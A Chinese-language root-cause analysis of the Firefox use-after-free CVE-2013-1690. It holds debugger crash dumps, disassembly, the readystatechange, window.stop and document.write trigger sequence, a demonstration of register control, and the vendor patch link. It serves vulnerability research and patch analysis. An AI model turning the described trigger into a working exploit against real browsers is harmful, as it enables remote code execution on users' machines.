POC:
精简过的POC
Crash Info
This exception may be expected and handled.
eax=03992b18 ebx=093424b4 ecx=02e0aa2c edx=00000000 esi=0a256c80 edi=05685148
eip=f33ae938 esp=000b1cbc ebp=000b1cc8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
f33ae938 ?? ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
000b1cb8 02d006a7 03992b18 00000000 000b1ce4 0xf33ae938
000b1cc8 02d5bd49 03992b18 05685148 00000000 xul!nsDocumentViewer::Stop+0x5e [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\layout\base\nsdocumentviewer.cpp @ 1694]
000b1ce4 0314cd0e 093424b4 00000003 00000000 xul!nsDocShell::Stop+0x3e [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\docshell\base\nsdocshell.cpp @ 4631]
000b1cf8 0314cd18 093424b4 000b1d10 02dfb297 xul!nsGlobalWindow::Stop+0x47 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\dom\base\nsglobalwindow.cpp @ 5294]
000b1d04 02dfb297 057a46c0 000b20c8 02bb7c67 xul!nsGlobalWindow::Stop+0x51 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\dom\base\nsglobalwindow.cpp @ 5295]
000b1d10 02bb7c67 057a46c0 00000013 00000000 xul!NS_InvokeByIndex_P+0x27 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp @ 71]
*** WARNING: Unable to verify checksum for C:\Program Files\Mozilla Firefox\mozjs.dll
000b20c8 0236d26e 0a255de0 00000000 066029b8 xul!XPC_WN_CallMethod+0x687 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\xpconnect\src\xpcwrappednativejsops.cpp @ 1488]
000b2ac0 0236e143 0964d270 000b2ae8 0a255de0 mozjs!js::mjit::CallCompiler::generateNativeStub+0x3ee [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\methodjit\monoic.cpp @ 1078]
000b2ae0 0237293f 040051e0 056e6228 000b4158 mozjs!js::mjit::ic::NativeCall+0x33 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\methodjit\monoic.cpp @ 1331]
000b2b30 022a5b41 0a255de0 06602978 07b8c320 mozjs!JaegerThrowpoline+0x2f
000b2b98 0229db7c 06602978 07b8c320 06620000 mozjs!js::mjit::EnterMethodJIT+0xd1 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\methodjit\methodjit.cpp @ 1041]
000b2bec 0229be76 0a255de0 000b2c30 06602978 mozjs!js::RunScript+0x18c [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 343]
000b2ca8 0229c2b3 0a255de0 00000000 06602960 mozjs!js::InvokeKernel+0x276 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 404]
000b2d08 022a59d1 0a255de0 000b2d30 000b2d4c mozjs!js::Invoke+0x153 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 437]
000b2d3c 02bb06d1 0a255de0 0df7a140 0df95500 mozjs!JS_CallFunctionValue+0x41 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsapi.cpp @ 5817]
000b2f9c 02df0db7 07e48cd0 0bbd8540 00000003 xul!nsXPCWrappedJSClass::CallMethod+0x481 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\xpconnect\src\xpcwrappedjsclass.cpp @ 1434]
000b2fc4 02dfb395 0bbd8540 00000003 056bb420 xul!nsXPCWrappedJS::CallMethod+0x47 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\xpconnect\src\xpcwrappedjs.cpp @ 580]
000b3084 02dfb409 08b78120 00000003 000b30ac xul!PrepareAndDispatch+0xfa [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\xpcom\reflect\xptcall\src\md\win32\xptcstubs.cpp @ 85]
000b30a0 02b9a93b 08b78120 09f425e0 0c7bb940 xul!SharedStub+0x16 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\xpcom\reflect\xptcall\src\md\win32\xptcstubs.cpp @ 113]
000b30ec 02b9a74e 07271c90 07d0c800 0c7bb940 xul!nsEventListenerManager::HandleEventInternal+0x1bb [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventlistenermanager.cpp @ 990]
漏洞成因:
Iframe html页面加载时,会申请nsDocumentViewer对象,大小0xc8
text:02CF6362 ; tag_nsresult __cdecl NS_NewContentViewer(nsIContentViewer **aResult)
.text:02CF6362 ?NS_NewContentViewer@@YA?AW4tag_nsresult@@PAPAVnsIContentViewer@@@Z proc near
.text:02CF6362 ; CODE XREF: nsContentDLF::CreateDocument(char const *,nsIChannel *,nsILoadGroup *,nsISupports *,nsID const &,nsIStreamListener * *,nsIContentViewer * *)+68p
.text:02CF6362 ; nsContentDLF::CreateInstanceForDocument(nsISupports *,nsIDocument *,char const *,nsIContentViewer * *)+Dp ...
.text:02CF6362
.text:02CF6362 aResult = dword ptr 4
.text:02CF6362
.text:02CF6362 push esi
.text:02CF6363 push edi
.text:02CF6364 mov edi, 0C8h
.text:02CF6369 push edi
.text:02CF636A call ds:__imp__moz_xmalloc
.text:02CF6370 mov esi, eax
.text:02CF6372 xor eax, eax
.text:02CF6374 pop ecx
.text:02CF6375 cmp esi, eax
.text:02CF6377 jz short loc_2CF638C
.text:02CF6379 push edi ; Size
.text:02CF637A push eax ; Val
.text:02CF637B push esi ; Dst
.text:02CF637C call ds:__imp__memset
.text:02CF6382 add esp, 0Ch
.text:02CF6385 mov eax, esi
.text:02CF6387 call ??0nsDocumentViewer@@QAE@XZ ; nsDocumentViewer::nsDocumentViewer(void)
nsDocShell::SetupNewViewer 里面会设置唯一引用这个对象@1
.text:02CB645E loc_2CB645E: ; CODE XREF: nsDocShell::SetupNewViewer(nsIContentViewer *)+394j
.text:02CB645E mov eax, [edi+160h]
.text:02CB6464 mov [edi+160h], esi
.text:02CB646A test eax, eax
.text:02CB646C jnz loc_2E619DB
POC调用addEventListener 增加readystatechange事件回调,当页面发生变化时即会调用 a 函数。
Window.stop
A函数首先调用windows.stop函数
windows.stop触发js
xul!nsGlobalWindow::Stop ==> xul!nsDocShell::Stop ===> xul!nsDocumentViewer::Stop
的调用流程
同时将nsDocumentViewer通过堆栈参数进行传递
.text:02D00649 ; tag_nsresult __stdcall nsDocumentViewer__Stop(nsDocumentViewer *this)
.text:02D00649 ?Stop@nsDocumentViewer@@UAG?AW4tag_nsresult@@XZ proc near
.text:02D00649 ; DATA XREF: .rdata:039BCA04o
.text:02D00649
.text:02D00649 shellDeathGrip = nsCOMPtr ptr 8
.text:02D00649
.text:02D00649 push ebp
.text:02D0064A mov ebp, esp
.text:02D0064C push esi
.text:02D0064D mov esi, [ebp+shellDeathGrip.baseclass_0.mRawPtr]
.text:02D00650 mov ecx, [esi+28h]
.text:02D00653 test ecx, ecx
.text:02D00655 jz short loc_2D0065F
.text:02D00657 mov eax, [ecx]
.text:02D00659 call dword ptr [eax+2E4h]
nsDocumentViewer__Stop函数会调用xul!nsHTMLDocument::StopDocumentLoad的调用
里面会触发之前注册的事件回调的调用,堆栈见如下
eax=07a42650 ebx=0012a758 ecx=0012a75c edx=0012a744 esi=09125800 edi=06eab880
eip=02b9a780 esp=0012a6a0 ebp=09126800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
xul!nsEventListenerManager::HandleEventInternal:
02b9a780 55 push ebp
0:000> kb
ChildEBP RetAddr Args to Child
0012a69c 02b9a74e 07a42650 09126800 06eab880 xul!nsEventListenerManager::HandleEventInternal [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventlistenermanager.cpp @ 940]
0012a6cc 02b9a4c1 0012a750 06eab800 0012a744 xul!nsEventTargetChainItem::HandleEvent+0xde [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventdispatcher.cpp @ 188]
0012a6f8 02b99e37 09125800 00000000 00000000 xul!nsEventTargetChainItem::HandleEventTargetChain+0xe1 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventdispatcher.cpp @ 315]
0012a794 02b6582c 09125800 09126800 06eab880 xul!nsEventDispatcher::Dispatch+0x247 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventdispatcher.cpp @ 681]
0012a7cc 02c824ab 0012a848 02b53f3a 09125800 xul!nsEventDispatcher::DispatchDOMEvent+0x6c [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\events\src\nseventdispatcher.cpp @ 739]
0012a818 02b754ba 09125800 06eac160 02c82578 xul!GetEventAndTarget+0x11b [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nscontentutils.cpp @ 3471]
0012a890 02cd52d8 00000003 02cd5392 00000001 xul!nsAString_internal::Assign+0x1aa [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\xpcom\string\src\nstsubstring.cpp @ 386]
0012a898 02cd5392 00000001 09146f14 00000000 xul!nsContentSink::DidBuildModelImpl+0x11 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nscontentsink.cpp @ 1454]
0012a8b0 0314513c 0406e370 00000001 05685148 xul!nsHtml5TreeOpExecutor::DidBuildModel+0x6f [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\parser\html\nshtml5treeopexecutor.cpp @ 146]
0012a8d0 02e490db 0406e300 0ae703d0 02d0065f xul!nsHtml5Parser::Terminate+0x56 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\parser\html\nshtml5parser.cpp @ 493]
0012a8e8 02d5bd49 0ae703d0 05685148 00000000 xul!nsHTMLDocument::StopDocumentLoad+0x18b87d [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 871]
0012a904 0314cd0e 08d638b4 00000003 00000000 xul!nsDocShell::Stop+0x3e [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\docshell\base\nsdocshell.cpp @ 4631]
0012a918 0314cd18 08d638b4 0012a930 02dfb297 xul!nsGlobalWindow::Stop+0x47 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\dom\base\nsglobalwindow.cpp @ 5294]
0012a924 02dfb297 0ad4d020 0012acec 02bb7c67 xul!nsGlobalWindow::Stop+0x51 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\dom\base\nsglobalwindow.cpp @ 5295]
0012a930 02bb7c67 0ad4d020 00000013 00000000 xul!NS_InvokeByIndex_P+0x27 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp @ 71]
0012acec 0229bc6a 0ae6eb70 00000000 066f0168 xul!XPC_WN_CallMethod+0x687 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\xpconnect\src\xpcwrappednativejsops.cpp @ 1488]
0012ada8 0228e18c 0ae6eb70 00000000 066f0178 mozjs!js::InvokeKernel+0x6a [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 389]
0012b7d0 0229da89 066f0128 00000000 0ae6eb70 mozjs!js::Interpret+0x95c [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 2366]
0012b81c 0229be76 0ae6eb70 0012b860 066f0128 mozjs!js::RunScript+0x99 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 346]
0012b8d8 0229c2b3 0ae6eb70 00000000 066f0110 mozjs!js::InvokeKernel+0x276 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\js\src\jsinterp.cpp @ 404]
此时进入一个死循环,不停的调用windows.stop 然后又触发事件注册回调,导致堆栈被耗尽,同时之前申请的nsDocumentViewer一直通过堆栈进行传递
0:000> s -d 0×0 l?0×7fffffff 0a984280 //搜索对这个nsDocumentViewer的引用
000b00e8 0a984280 00000002 00000000 03982b00 .B………..+..
000b024c 0a984280 0a06d2e0 00000001 00000008 .B…………..
000b1cbc 0a984280 02d0065f 00000000 000b1ce4 .B.._……….. //nsDocumentViewer
000b1cd0 0a984280 05685148 00000000 00000000 .B..HQh………
000b332c 0a984280 02d0065f 00000000 000b3354 .B.._…….T3..
000b3340 0a984280 05685148 00000000 00000000 .B..HQh………
000b499c 0a984280 02d0065f 00000000 000b49c4 .B.._……..I..
000b49b0 0a984280 05685148 00000000 00000000 .B..HQh………
……
ownerDocument.write
耗尽后js会终止这个循环执行,开始调用下一条write js语句
var z="<img src='nonexistant.html'>";
window.parent.frames[0].frameElement.ownerDocument.write(z);
这条js语句触发xul!nsHTMLDocument::WriteCommon操作,将之前申请的nsDocumentViewer对象进行销毁,去除引用(见@1)
Breakpoint 5 hit
eax=0a984280 ebx=08ab88b8 ecx=08c13a30 edx=02dea6e0 esi=0a150cac edi=00000000
eip=02cd69b6 esp=000b0250 ebp=000b0260 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsDocShell::Destroy+0x15f:
02cd69b6 3bc7 cmp eax,edi
0:000> kb
ChildEBP RetAddr Args to Child
000b0260 02d456c4 0a150cac 08ab88b8 07eca2bc xul!nsDocShell::Destroy+0x15f [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\docshell\base\nsdocshell.cpp @ 4932]
000b0270 02b81b0c 08c37f80 00000000 000b0294 xul!nsFrameLoader::Finalize+0x28 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nsframeloader.cpp @ 582]
000b0294 02b82144 07eca1ac 094793d0 07eca000 xul!nsDocument::MaybeInitializeFinalizeFrameLoaders+0xec [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nsdocument.cpp @ 5820]
000b02bc 02c305bd 040051f4 00000000 07eca000 xul!nsHTMLDocument::EndUpdate+0x84 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 2510]
000b0354 02cb1403 094793d0 0a10e600 07226c40 xul!nsDocument::ResetToURI+0xfd [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nsdocument.cpp @ 1963]
000b037c 02cd5d97 094793d0 0a10e600 07226c40 xul!nsHTMLDocument::ResetToURI+0x20 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 287]
000b03b0 02cfa13e 094793d0 0a10e600 000b0674 xul!nsDocument::Reset+0x67 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\base\src\nsdocument.cpp @ 1903]
000b03c4 03619ede 0a985b0c 0a10e600 07eca000 xul!nsHTMLDocument::Reset+0x12 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 274]
000b063c 03706636 07eca000 000b0698 0a1437e0 xul!nsHTMLDocument::Open+0x6c0 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 1646]
000b067c 02f16571 07eca37c 000b06b8 03c75a44 xul!nsHTMLDocument::Open+0xa0 [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 1381]
000b06dc 02cd2b3f 0a1437e0 000b0760 00000000 xul!nsHTMLDocument::WriteCommon+0x243bbc [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 1851]
000b0710 02b310df 07eca000 0a1437e0 00000000 xul!nsHTMLDocument::WriteCommon+0x2b [e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\content\html\document\src\nshtmldocument.cpp @ 1785]
并且调用nsDocumentViewer::~nsDocumentViewer销毁对象
调用xul!PresShell::Release 销毁PreShell对象
之后 xul!nsHTMLDocument::StopDocumentLoad 函数开始返回
0:000> ba r 1 000b1cbc
0:000> g
Breakpoint 7 hit
eax=08231400 ebx=08ab88b4 ecx=0000005a edx=00000000 esi=0a984280 edi=05685148
eip=02cbd889 esp=000b1cc0 ebp=000b1cc8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
xul!nsHTMLDocument::StopDocumentLoad+0x2b:
02cbd889 c3 ret
0:000> dd 000b1cbc
000b1cbc 0a984280 02d0065f 00000000 000b1ce4 //此处为之前的nsDocumentViewer对象,此时该处漏洞已经被释放或者被其他对象占位,调试中总是被xul!nsFileChannel::`vftable'占位,这个对象刚好也是0xc8大小
000b1ccc 02d5bd49 0a984280 05685148 00000000
000b1cdc 00000000 03a6edf0 000b1cf8 0314cd0e
000b1cec 08ab88b4 00000003 00000000 000b1d04
000b1cfc 0314cd18 08ab88b4 000b1d10 02dfb297
000b1d0c 0adcfb80 000b20c8 02bb7c67 0adcfb80
000b1d1c 00000013 00000000 000b1db0 00000004
000b1d2c 000b2ae8 06f96a00 00000000 00000000
函数返回到xul!nsDocumentViewer::Stop函数 这里会调用xul!nsDocumentViewer的分发函数,导致EIP被控制
0:000> p
eax=08231400 ebx=08ab88b4 ecx=0000005a edx=00000000 esi=41414141 edi=05685148
eip=02d0065f esp=000b1cc4 ebp=000b1cc8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
xul!nsDocumentViewer::Stop+0×16:
02d0065f 80bec700000000 cmp byte ptr +0xc6 (000000c7)[esi],0 ds:0023:41414208=??
Patch
http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae
通过对readyState 事件加入限制,同时nsDocShell.cpp里面增加对mContentViewer的引用,每调用一次增加一次引用
Test
Too much recursion
Sample poc
这样的也可以触发
Ps:
1 一开始比较奇怪为啥crash时的堆栈回溯函数断不下来 最终发现是以及在这个函数里面了,只缘身在此山中
2 寻找对象引用直接搜索内存即可,可以在对象申请、销毁前后进行比对引用,下断点
3 thks binjo
Ref
http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/
http://pastebin.mozilla.org/2777139
http://www.mozilla.org/security/announce/2013/mfsa2013-53.html
http://krash.in/ffn0day.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1690
http://hg.mozilla.org/releases/mozilla-esr17/pushloghtml?startdate=2013-05-05&enddate=2013-05-17
https://www.evernote.com/shard/s258/sh/1b8d8264-c94f-449d-866e-023d3a87cded/86fc1d67e2aa8cb0211c467c7a75e26c?noteKey=86fc1d67e2aa8cb0211c467c7a75e26c¬eGuid=1b8d8264-c94f-449d-866e-023d3a87cded